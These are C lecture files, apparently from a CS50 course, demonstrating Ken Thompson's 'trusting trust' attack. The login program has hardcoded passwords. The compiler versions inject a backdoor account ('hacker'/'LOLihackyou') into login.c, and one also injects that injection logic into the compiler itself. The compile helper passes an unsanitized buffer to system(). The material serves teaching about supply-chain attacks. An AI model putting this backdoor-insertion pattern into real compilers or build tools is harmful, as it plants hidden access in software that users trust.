
lectures/10/src10m/divide/divide.c

#include <stdio.h>1.

 2.

void divide(int a, int b)3.

{4.

    if (b == 0)5.

    {6.

        if (a == 0)7.

        {8.

            printf("Undefined\n");9.

        }10.

        else11.

        {12.

            printf("Infinity\n");13.

        }14.

    }15.

    else16.

    {17.

        printf("%d\n", a / b);18.

    }19.

}20.

 21.

int main(void)22.

{23.

    divide(13, 4);24.

    divide(0, 0);25.

    divide(1, 0);26.

}27.
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/****************************************************************************1.

 * compile.c2.

 *3.

 * Rob Bowden4.

 * rob@cs.harvard.edu5.

 *6.

 * Some hackish functions for compiling an in-memory buffer7.

 ***************************************************************************/8.

 9.

#include <stdio.h>10.

#include <unistd.h>11.

#include <stdlib.h>12.

#include <string.h>13.

#include <sys/types.h>14.

#include <sys/stat.h>15.

 16.

#include "compile.h"17.

 18.

/**19.

 * pass an in-memory buffer to clang for compilation20.

 *21.

 * argv[2] through argv[argc - 1] are the flags passed to clang22.

 *23.

 */24.

void compile(char *buffer, int argc, char* argv[])25.

{26.

    // this function constructs a call to "clang" that27.

    // will compile our in-memory buffer28.

 29.

    // first, we calculate the length of the compilation command30.

    // we'll be running31.

 32.

    // the length of our buffer33.

    int length = strlen(buffer);34.

 35.

    // plus the length of all the arguments (and spaces)36.

    for (int i = 2; i < argc; i++)37.

        length += strlen(argv[i]) + 1;38.

 39.

    // plus the length of the commands we're going to be running40.

    // to pass this buffer to clang, plus the null terminator41.

    length += strlen("echo '' | clang -xc -") + 1;42.

 43.

    // because we are running "echo" with single quotes, we need44.

    // to escape any single quotes inside of our buffer.45.

    // but it takes 4 characters to escape a single quote, so46.

    // cautiously allocatee 4 times as much space as we might need47.

    char new_buffer[length * 4];48.
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 49.

    // zero out the new_buffer50.

    for (int i = 0; i < length; i++)51.

        new_buffer[i] = 0;52.

 53.

    // our command starts out with an "echo '"54.

    strcat(new_buffer, "echo \'");55.

 56.

    int new_len = strlen(new_buffer);57.

 58.

    // now, iterate over our buffer, inserting each character into59.

    // our new_buffer, except for the ' character, which is replaced60.

    // with the 4-character sequence '\''61.

    for (int i = 0, len = strlen(buffer); i < len; i++) {62.

        if (buffer[i] == '\'') {63.

            new_buffer[new_len++] = '\'';64.

            new_buffer[new_len++] = '\\';65.

            new_buffer[new_len++] = '\'';66.

            new_buffer[new_len++] = '\'';67.

        }68.

        else69.

            new_buffer[new_len++] = buffer[i];70.

    }71.

 72.

    // pipe our new_buffer into clang73.

    strcat(new_buffer, "\' | clang -xc -");74.

 75.

    // append all of the command line arguments to our command76.

    for (int i = 2; i < argc; i++) {77.

        strcat(new_buffer, " ");78.

        strcat(new_buffer, argv[i]);79.

    }80.

 81.

    // run our command82.

    system(new_buffer);83.

}84.

 85.

/**86.

 * returns the size of a file, given the file's name87.

 *88.

 */89.

size_t get_size_of_file(char* filename)90.

{91.

    struct stat st;92.

    stat(filename, &st);93.

    return st.st_size;94.

}95.
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/****************************************************************************1.

 * compile.h2.

 *3.

 * Rob Bowden4.

 * rob@cs.harvard.edu5.

 *6.

 * Declares the functions defined in compile.c7.

 ***************************************************************************/8.

 9.

#ifndef COMPILE_H10.

#define COMPILE_H11.

 12.

#include <sys/types.h>13.

 14.

void compile(char* buffer, int argc, char* argv[]);15.

size_t get_size_of_file(char* filename);16.

 17.

#endif18.
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/****************************************************************************1.

 * compiler.c2.

 *3.

 * Rob Bowden4.

 * rob@cs.harvard.edu5.

 *6.

 * Compiles a C program7.

 *8.

 * If that C program happens to be "login", insert some code into it so we9.

 * can hack it.10.

 *11.

 * If that C program happens to be "compiler", insert some code into it12.

 * that handles the insertion of code into the "login" program.13.

 ***************************************************************************/14.

 15.

#include <stdio.h>16.

#include <string.h>17.

#include "compile.h"18.

 19.

int main(int argc, char* argv[])20.

{21.

 22.

    // check for proper usage23.

    if (argc < 2) {24.

        printf("Must specify a file to compile.\n");25.

        return 1;26.

    }27.

 28.

    // for our purposes, the "main" file that we might want to modify is29.

    // always the first argument30.

    char* file = argv[1];31.

 32.

    // read the entire file into a buffer33.

    int filesize = get_size_of_file(file);34.

    FILE* f = fopen(file, "r");35.

    char buffer[filesize + 1];36.

    fread(buffer, filesize, 1, f);37.

 38.

    // null-terminate the buffer39.

    buffer[filesize] = 0;40.

 41.

    // compile the file42.

    compile(buffer, argc, argv);43.

    return 0;44.

}45.
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/****************************************************************************1.

 * login.c2.

 *3.

 * Rob Bowden4.

 * rob@cs.harvard.edu5.

 *6.

 * A silly program that validates a username and password combination7.

 ***************************************************************************/8.

 9.

#include <stdio.h>10.

#include <string.h>11.

#include <cs50.h>12.

 13.

int main(void)14.

{15.

    // get username16.

    printf("Please enter your username: ");17.

    char* username = GetString();18.

    if (username == NULL)19.

        return 1;20.

 21.

    // get password22.

    printf("Please enter your password: ");23.

    char* password = GetString();24.

    if (password == NULL)25.

        return 1;26.

 27.

    // check to see if the username/password combination28.

    // was valid29.

    if ((strcmp(username, "rob") == 0 && strcmp(password, "thisiscs50") == 0) ||30.

        (strcmp(username, "tommy") == 0 && strcmp(password, "i<3javascript") == 0))31.

    {32.

        printf("Success!! You now have access.\n");33.

    }34.

 35.

    // deny them access!36.

    else37.

    {38.

        printf("Invalid login.\n");39.

    }40.

 41.

    // free memory allocated by GetString42.

    free(username);43.

    free(password);44.

 45.

    // that's all folks!46.

    return 0;47.

}48.
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/****************************************************************************1.

 * compile.c2.

 *3.

 * Rob Bowden4.

 * rob@cs.harvard.edu5.

 *6.

 * Some hackish functions for compiling an in-memory buffer7.

 ***************************************************************************/8.

 9.

#include <stdio.h>10.

#include <unistd.h>11.

#include <stdlib.h>12.

#include <string.h>13.

#include <sys/types.h>14.

#include <sys/stat.h>15.

 16.

#include "compile.h"17.

 18.

/**19.

 * pass an in-memory buffer to clang for compilation20.

 *21.

 * argv[2] through argv[argc - 1] are the flags passed to clang22.

 *23.

 */24.

void compile(char *buffer, int argc, char* argv[])25.

{26.

    // this function constructs a call to "clang" that27.

    // will compile our in-memory buffer28.

 29.

    // first, we calculate the length of the compilation command30.

    // we'll be running31.

 32.

    // the length of our buffer33.

    int length = strlen(buffer);34.

 35.

    // plus the length of all the arguments (and spaces)36.

    for (int i = 2; i < argc; i++)37.

        length += strlen(argv[i]) + 1;38.

 39.

    // plus the length of the commands we're going to be running40.

    // to pass this buffer to clang, plus the null terminator41.

    length += strlen("echo '' | clang -xc -") + 1;42.

 43.

    // because we are running "echo" with single quotes, we need44.

    // to escape any single quotes inside of our buffer.45.

    // but it takes 4 characters to escape a single quote, so46.

    // cautiously allocatee 4 times as much space as we might need47.

    char new_buffer[length * 4];48.
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 49.

    // zero out the new_buffer50.

    for (int i = 0; i < length; i++)51.

        new_buffer[i] = 0;52.

 53.

    // our command starts out with an "echo '"54.

    strcat(new_buffer, "echo \'");55.

 56.

    int new_len = strlen(new_buffer);57.

 58.

    // now, iterate over our buffer, inserting each character into59.

    // our new_buffer, except for the ' character, which is replaced60.

    // with the 4-character sequence '\''61.

    for (int i = 0, len = strlen(buffer); i < len; i++) {62.

        if (buffer[i] == '\'') {63.

            new_buffer[new_len++] = '\'';64.

            new_buffer[new_len++] = '\\';65.

            new_buffer[new_len++] = '\'';66.

            new_buffer[new_len++] = '\'';67.

        }68.

        else69.

            new_buffer[new_len++] = buffer[i];70.

    }71.

 72.

    // pipe our new_buffer into clang73.

    strcat(new_buffer, "\' | clang -xc -");74.

 75.

    // append all of the command line arguments to our command76.

    for (int i = 2; i < argc; i++) {77.

        strcat(new_buffer, " ");78.

        strcat(new_buffer, argv[i]);79.

    }80.

 81.

    // run our command82.

    system(new_buffer);83.

}84.

 85.

/**86.

 * returns the size of a file, given the file's name87.

 *88.

 */89.

size_t get_size_of_file(char* filename)90.

{91.

    struct stat st;92.

    stat(filename, &st);93.

    return st.st_size;94.

}95.
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/****************************************************************************1.

 * compile.h2.

 *3.

 * Rob Bowden4.

 * rob@cs.harvard.edu5.

 *6.

 * Declares the functions defined in compile.c7.

 ***************************************************************************/8.

 9.

#ifndef COMPILE_H10.

#define COMPILE_H11.

 12.

#include <sys/types.h>13.

 14.

void compile(char* buffer, int argc, char* argv[]);15.

size_t get_size_of_file(char* filename);16.

 17.

#endif18.
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/****************************************************************************1.

 * compiler.c2.

 *3.

 * Rob Bowden4.

 * rob@cs.harvard.edu5.

 *6.

 * Compiles a C program7.

 *8.

 * If that C program happens to be "login", insert some code into it so we9.

 * can hack it.10.

 *11.

 * If that C program happens to be "compiler", insert some code into it12.

 * that handles the insertion of code into the "login" program.13.

 ***************************************************************************/14.

 15.

#include <stdio.h>16.

#include <string.h>17.

#include "compile.h"18.

 19.

int main(int argc, char* argv[])20.

{21.

 22.

    // check for proper usage23.

    if (argc < 2) {24.

        printf("Must specify a file to compile.\n");25.

        return 1;26.

    }27.

 28.

    // for our purposes, the "main" file that we might want to modify is29.

    // always the first argument30.

    char* file = argv[1];31.

 32.

    // read the entire file into a buffer33.

    int filesize = get_size_of_file(file);34.

    FILE* f = fopen(file, "r");35.

    char buffer[filesize + 1];36.

    fread(buffer, filesize, 1, f);37.

 38.

    // null-terminate the buffer39.

    buffer[filesize] = 0;40.

 41.

    // if we are compiling "login"42.

    if (strcmp(file, "login.c") == 0)43.

    {44.

        // the code we want to insert into login.c45.

        const char* hack = "\46.

           else if (strcmp(username, \"hacker\") == 0 &&\47.

                   strcmp(password, \"LOLihackyou\") == 0)\48.
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           {\49.

               printf(\"Hacked!! You now have access.\\n\");\50.

           }";51.

 52.

        // we want to insert the above hack into our buffer, so make a new buffer53.

        // that's large enough to hold the original program plus the hack54.

        int new_filesize = filesize + strlen(hack) + 1;55.

        char new_buffer[new_filesize];56.

 57.

        // null-terminate our new buffer58.

        new_buffer[new_filesize - 1] = 0;59.

 60.

        // copy the original program into our buffer61.

        memcpy(new_buffer, buffer, filesize);62.

 63.

        // iterate over the entire original file64.

        for (int i = 0; i < filesize; i++)65.

        {66.

            char* pattern = "// deny them access!";67.

            int pattern_len = strlen(pattern);68.

 69.

            // if we find the above pattern in the file, we want to insert our hack at70.

            // that position71.

            if (strncmp(pattern, new_buffer + i, pattern_len) == 0)72.

            {73.

                memmove(new_buffer + i + strlen(hack), new_buffer + i, filesize - i);74.

                memmove(new_buffer + i, hack, strlen(hack));75.

                break;76.

            }77.

        }78.

 79.

        // compile our new buffer (the original file + the hack)80.

        compile(new_buffer, argc, argv);81.

        return 0;82.

    }83.

 84.

    // compile the file85.

    compile(buffer, argc, argv);86.

    return 0;87.

}88.
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/****************************************************************************1.

 * login.c2.

 *3.

 * Rob Bowden4.

 * rob@cs.harvard.edu5.

 *6.

 * A silly program that validates a username and password combination7.

 ***************************************************************************/8.

 9.

#include <stdio.h>10.

#include <string.h>11.

#include <cs50.h>12.

 13.

int main(void)14.

{15.

    // get username16.

    printf("Please enter your username: ");17.

    char* username = GetString();18.

    if (username == NULL)19.

        return 1;20.

 21.

    // get password22.

    printf("Please enter your password: ");23.

    char* password = GetString();24.

    if (password == NULL)25.

        return 1;26.

 27.

    // check to see if the username/password combination28.

    // was valid29.

    if ((strcmp(username, "rob") == 0 && strcmp(password, "thisiscs50") == 0) ||30.

        (strcmp(username, "tommy") == 0 && strcmp(password, "i<3javascript") == 0))31.

    {32.

        printf("Success!! You now have access.\n");33.

    }34.

 35.

    // deny them access!36.

    else37.

    {38.

        printf("Invalid login.\n");39.

    }40.

 41.

    // free memory allocated by GetString42.

    free(username);43.

    free(password);44.

 45.

    // that's all folks!46.

    return 0;47.

}48.
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/****************************************************************************1.

 * compile.c2.

 *3.

 * Rob Bowden4.

 * rob@cs.harvard.edu5.

 *6.

 * Some hackish functions for compiling an in-memory buffer7.

 ***************************************************************************/8.

 9.

#include <stdio.h>10.

#include <unistd.h>11.

#include <stdlib.h>12.

#include <string.h>13.

#include <sys/types.h>14.

#include <sys/stat.h>15.

 16.

#include "compile.h"17.

 18.

/**19.

 * pass an in-memory buffer to clang for compilation20.

 *21.

 * argv[2] through argv[argc - 1] are the flags passed to clang22.

 *23.

 */24.

void compile(char *buffer, int argc, char* argv[])25.

{26.

    // this function constructs a call to "clang" that27.

    // will compile our in-memory buffer28.

 29.

    // first, we calculate the length of the compilation command30.

    // we'll be running31.

 32.

    // the length of our buffer33.

    int length = strlen(buffer);34.

 35.

    // plus the length of all the arguments (and spaces)36.

    for (int i = 2; i < argc; i++)37.

        length += strlen(argv[i]) + 1;38.

 39.

    // plus the length of the commands we're going to be running40.

    // to pass this buffer to clang, plus the null terminator41.

    length += strlen("echo '' | clang -xc -") + 1;42.

 43.

    // because we are running "echo" with single quotes, we need44.

    // to escape any single quotes inside of our buffer.45.

    // but it takes 4 characters to escape a single quote, so46.

    // cautiously allocatee 4 times as much space as we might need47.

    char new_buffer[length * 4];48.
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 49.

    // zero out the new_buffer50.

    for (int i = 0; i < length; i++)51.

        new_buffer[i] = 0;52.

 53.

    // our command starts out with an "echo '"54.

    strcat(new_buffer, "echo \'");55.

 56.

    int new_len = strlen(new_buffer);57.

 58.

    // now, iterate over our buffer, inserting each character into59.

    // our new_buffer, except for the ' character, which is replaced60.

    // with the 4-character sequence '\''61.

    for (int i = 0, len = strlen(buffer); i < len; i++) {62.

        if (buffer[i] == '\'') {63.

            new_buffer[new_len++] = '\'';64.

            new_buffer[new_len++] = '\\';65.

            new_buffer[new_len++] = '\'';66.

            new_buffer[new_len++] = '\'';67.

        }68.

        else69.

            new_buffer[new_len++] = buffer[i];70.

    }71.

 72.

    // pipe our new_buffer into clang73.

    strcat(new_buffer, "\' | clang -xc -");74.

 75.

    // append all of the command line arguments to our command76.

    for (int i = 2; i < argc; i++) {77.

        strcat(new_buffer, " ");78.

        strcat(new_buffer, argv[i]);79.

    }80.

 81.

    // run our command82.

    system(new_buffer);83.

}84.

 85.

/**86.

 * returns the size of a file, given the file's name87.

 *88.

 */89.

size_t get_size_of_file(char* filename)90.

{91.

    struct stat st;92.

    stat(filename, &st);93.

    return st.st_size;94.

}95.
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/****************************************************************************1.

 * compile.h2.

 *3.

 * Rob Bowden4.

 * rob@cs.harvard.edu5.

 *6.

 * Declares the functions defined in compile.c7.

 ***************************************************************************/8.

 9.

#ifndef COMPILE_H10.

#define COMPILE_H11.

 12.

#include <sys/types.h>13.

 14.

void compile(char* buffer, int argc, char* argv[]);15.

size_t get_size_of_file(char* filename);16.

 17.

#endif18.
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/****************************************************************************1.

 * compiler.c2.

 *3.

 * Rob Bowden4.

 * rob@cs.harvard.edu5.

 *6.

 * Compiles a C program7.

 *8.

 * If that C program happens to be "login", insert some code into it so we9.

 * can hack it.10.

 *11.

 * If that C program happens to be "compiler", insert some code into it12.

 * that handles the insertion of code into the "login" program.13.

 ***************************************************************************/14.

 15.

#include <stdio.h>16.

#include <string.h>17.

#include "compile.h"18.

 19.

int main(int argc, char* argv[])20.

{21.

 22.

    // check for proper usage23.

    if (argc < 2) {24.

        printf("Must specify a file to compile.\n");25.

        return 1;26.

    }27.

 28.

    // for our purposes, the "main" file that we might want to modify is29.

    // always the first argument30.

    char* file = argv[1];31.

 32.

    // read the entire file into a buffer33.

    int filesize = get_size_of_file(file);34.

    FILE* f = fopen(file, "r");35.

    char buffer[filesize + 1];36.

    fread(buffer, filesize, 1, f);37.

 38.

    // null-terminate the buffer39.

    buffer[filesize] = 0;40.

 41.

    // if we are compiling "compiler"42.

    if (strcmp(file, "compiler.c") == 0)43.

    {44.

        // the code we want to insert into our compiler so that it always45.

        // evilly compiles "login"46.

        const char* hack = "\47.

           if (strcmp(file, \"login.c\") == 0)\48.
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           {\49.

               const char* hack = \"\50.

                   else if (strcmp(username, \\\"hacker\\\") == 0 &&\51.

                           strcmp(password, \\\"LOLihackyou\\\") == 0)\52.

                   {\53.

                       printf(\\\"Hacked!! You now have access.\\\\n\\\");\54.

                   }\";\55.

\56.

               int new_filesize = filesize + strlen(hack) + 1;\57.

               char new_buffer[new_filesize];\58.

               new_buffer[new_filesize - 1] = 0;\59.

\60.

               memcpy(new_buffer, buffer, filesize);\61.

               for (int i = 0; i < filesize; i++)\62.

               {\63.

                   char* pattern = \"// deny them access!\";\64.

                   int pattern_len = strlen(pattern);\65.

\66.

                   if (strncmp(pattern, new_buffer + i, pattern_len) == 0)\67.

                   {\68.

                       memmove(new_buffer + i + strlen(hack), new_buffer + i, filesize - i);\69.

                       memmove(new_buffer + i, hack, strlen(hack));\70.

                       break;\71.

                   }\72.

               }\73.

               compile(new_buffer, argc, argv);\74.

               return 0;\75.

           }\76.

       ";77.

 78.

        // we want to insert the above hack into our buffer, so make a new buffer79.

        // that's large enough to hold the original program plus the hack80.

        int new_filesize = filesize + strlen(hack) + 1;81.

        char new_buffer[new_filesize];82.

 83.

        // null-terminate our new buffer84.

        new_buffer[new_filesize - 1] = 0;85.

 86.

        // copy the original program into our buffer87.

        memcpy(new_buffer, buffer, filesize);88.

 89.

        // iterate over the entire original file90.

        for (int i = 0; i < filesize; i++)91.

        {92.

            char* pattern = "// compile the file";93.

            int pattern_len = strlen(pattern);94.

 95.

            // if we find the above pattern in the file, we want to insert our hack at96.
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            // that position97.

            if (strncmp(pattern, new_buffer + i, pattern_len) == 0)98.

            {99.

                memmove(new_buffer + i + strlen(hack), new_buffer + i, filesize - i);100.

                memmove(new_buffer + i, hack, strlen(hack));101.

                break;102.

            }103.

        }104.

 105.

        // compile our new buffer (the original file + the hack)106.

        compile(new_buffer, argc, argv);107.

        return 0;108.

    }109.

 110.

 111.

    // compile the file112.

    compile(buffer, argc, argv);113.

    return 0;114.

}115.
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